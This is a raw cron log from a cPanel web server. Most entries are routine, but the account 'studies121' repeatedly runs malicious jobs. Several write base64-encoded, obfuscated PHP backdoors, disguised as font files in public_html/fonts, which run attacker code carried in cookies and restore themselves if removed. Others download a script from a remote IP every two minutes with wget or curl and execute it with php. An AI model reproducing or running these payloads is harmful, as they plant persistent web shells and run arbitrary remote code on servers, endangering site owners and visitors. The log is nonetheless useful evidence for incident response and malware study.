Sep  4 01:19:01 ip-184-168-122-23 CROND[27714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:19:01 ip-184-168-122-23 CROND[27716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:20:01 ip-184-168-122-23 CROND[27891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:20:01 ip-184-168-122-23 CROND[27893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:20:01 ip-184-168-122-23 CROND[27900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:20:01 ip-184-168-122-23 CROND[27896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:20:01 ip-184-168-122-23 CROND[27899]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:20:01 ip-184-168-122-23 CROND[27894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:20:01 ip-184-168-122-23 CROND[27897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:20:01 ip-184-168-122-23 CROND[27898]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:20:01 ip-184-168-122-23 CROND[27895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:21:01 ip-184-168-122-23 CROND[28042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:21:01 ip-184-168-122-23 CROND[28044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:21:01 ip-184-168-122-23 CROND[28045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:21:01 ip-184-168-122-23 CROND[28046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:22:01 ip-184-168-122-23 CROND[28147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:22:01 ip-184-168-122-23 CROND[28149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:22:01 ip-184-168-122-23 CROND[28151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:22:01 ip-184-168-122-23 CROND[28155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:22:01 ip-184-168-122-23 CROND[28154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:23:01 ip-184-168-122-23 CROND[28237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:23:01 ip-184-168-122-23 CROND[28238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:23:01 ip-184-168-122-23 CROND[28240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:23:01 ip-184-168-122-23 CROND[28239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:24:01 ip-184-168-122-23 CROND[28318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:24:01 ip-184-168-122-23 CROND[28320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:24:01 ip-184-168-122-23 CROND[28322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:24:01 ip-184-168-122-23 CROND[28321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:24:01 ip-184-168-122-23 CROND[28324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:25:01 ip-184-168-122-23 CROND[28404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:25:01 ip-184-168-122-23 CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:25:01 ip-184-168-122-23 CROND[28407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:25:01 ip-184-168-122-23 CROND[28409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:25:01 ip-184-168-122-23 CROND[28408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:25:01 ip-184-168-122-23 CROND[28410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:26:01 ip-184-168-122-23 CROND[28600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:26:01 ip-184-168-122-23 CROND[28602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:26:01 ip-184-168-122-23 CROND[28603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:26:01 ip-184-168-122-23 CROND[28605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:26:01 ip-184-168-122-23 CROND[28606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:27:01 ip-184-168-122-23 CROND[28686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:27:01 ip-184-168-122-23 CROND[28688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:27:01 ip-184-168-122-23 CROND[28689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:27:01 ip-184-168-122-23 CROND[28690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:28:01 ip-184-168-122-23 CROND[28766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:28:01 ip-184-168-122-23 CROND[28770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:28:01 ip-184-168-122-23 CROND[28769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:28:01 ip-184-168-122-23 CROND[28771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:28:01 ip-184-168-122-23 CROND[28773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:29:01 ip-184-168-122-23 CROND[28865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:29:01 ip-184-168-122-23 CROND[28867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:29:01 ip-184-168-122-23 CROND[28866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:29:01 ip-184-168-122-23 CROND[28868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:30:02 ip-184-168-122-23 CROND[28956]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:30:02 ip-184-168-122-23 CROND[28963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:31:01 ip-184-168-122-23 CROND[29046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
